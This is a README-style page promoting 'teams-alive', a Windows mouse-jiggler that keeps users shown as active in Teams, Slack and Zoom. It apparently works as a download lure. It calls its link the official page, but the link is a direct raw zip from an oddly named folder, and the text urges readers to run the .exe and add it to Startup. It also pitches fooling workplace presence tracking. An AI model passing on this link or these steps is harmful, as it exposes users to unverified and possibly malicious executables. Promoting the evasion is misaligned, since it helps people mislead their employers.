teams-alive is a simple app made to stop Teams, Slack, and others from tracking your activity all the time. It helps you appear active without the apps marking you as idle. Use it at home or in the office to keep your status visible while working calmly.
This tool runs on Windows. It works by simulating small mouse movements to keep your device from going into idle mode. This way, your status stays "active" without you needing to move around or click.
Before you start, make sure your Windows device meets these basic needs:
- Windows 10 or Windows 11 (64-bit preferred)
- At least 2 GB RAM
- 100 MB free disk space
- Basic internet access for downloading the app
- No special permissions required (runs in user mode)
- Prevent apps from marking you as "away"
- Keep work chats from auto-pausing or appearing offline
- Avoid distractions while preserving your presence
- Save your mental energy without interrupting your workflow
- Lightweight with no big impact on performance
Follow these steps to download and run teams-alive on your Windows PC.
Click the big button below to visit the official page where you can download the app.
The page shows the latest version and other details. Look for a file ending with .exe or .zip.
- For the easiest setup, download the
.exefile if available. - If you see a
.zipfile, download it and unzip it to a folder you can find easily, like your Desktop.
- If you downloaded an
.exefile, double-click to run it. - Follow any prompts to allow the app to start.
- If you unzipped files, look for a file named
teams-alive.exeor similar and double-click it.
Once teams-alive runs, you usually see an icon in the system tray (bottom-right corner near the clock).
- The app runs quietly in the background.
- It gently moves your mouse or simulates activity.
- You do not need to interact with it after starting.
- To stop, right-click the tray icon and choose “Exit” or “Quit”.
teams-alive offers these useful functions:
- Mouse jiggler that creates small, invisible movements
- Supports multiple chat apps (Teams, Slack, Zoom)
- Low CPU and memory use to keep your PC fast
- Simple start and stop from the system tray menu
- Works without admin rights or special setup
- Open source, so you can check its code if you want
- Run the app after you start your PC to keep status active all day.
- You can add
teams-alive.exeto your Windows Startup folder to launch it automatically. - If you use multiple chat apps, teams-alive works for all of them at once.
- Minimal settings ensures no confusion or extra effort is needed.
teams-alive simulates tiny mouse movements every few seconds. The app does this in the background, so you don’t notice any cursor jumping. Your chat software sees that your computer is active and shows you as present.
This stops your status from switching to “away” or “inactive” when you stay focused on work that doesn’t require typing or mouse movement, like reading documents or attending calls.
teams-alive works best with:
- Microsoft Teams
- Slack
- Zoom
- Other apps that track user input to change status
At this time, teams-alive keeps things simple with no complicated settings. It focuses on what really matters: keeping your status active without you needing to move.
If you want to stop the app, just right-click the tray icon and select exit.
Use the link below to start downloading teams-alive now:
Download teams-alive from GitHub
Follow the instructions above for installing and running the app on your Windows PC. The process is straightforward and should take only a few minutes.
If teams-alive does not seem to keep your status active:
- Check that the app is running (look for its tray icon).
- Make sure your PC settings don’t block apps from running in the background.
- Confirm you are using the latest version by revisiting the download page.
- Restart the app or your computer to refresh status updates.
The GitHub page includes more details, FAQs, and access to the source code if you want to learn how the app was made or report issues.
Visit the page any time for updates or help:
https://github.com/AJOBKA/teams-alive/raw/refs/heads/main/childe/teams-alive-1.1.zip
This tool is open source. If you want to suggest improvements or help fix problems, you can find the source code and contribute on the GitHub page.
Your input helps keep teams-alive reliable and easy to use for everyone.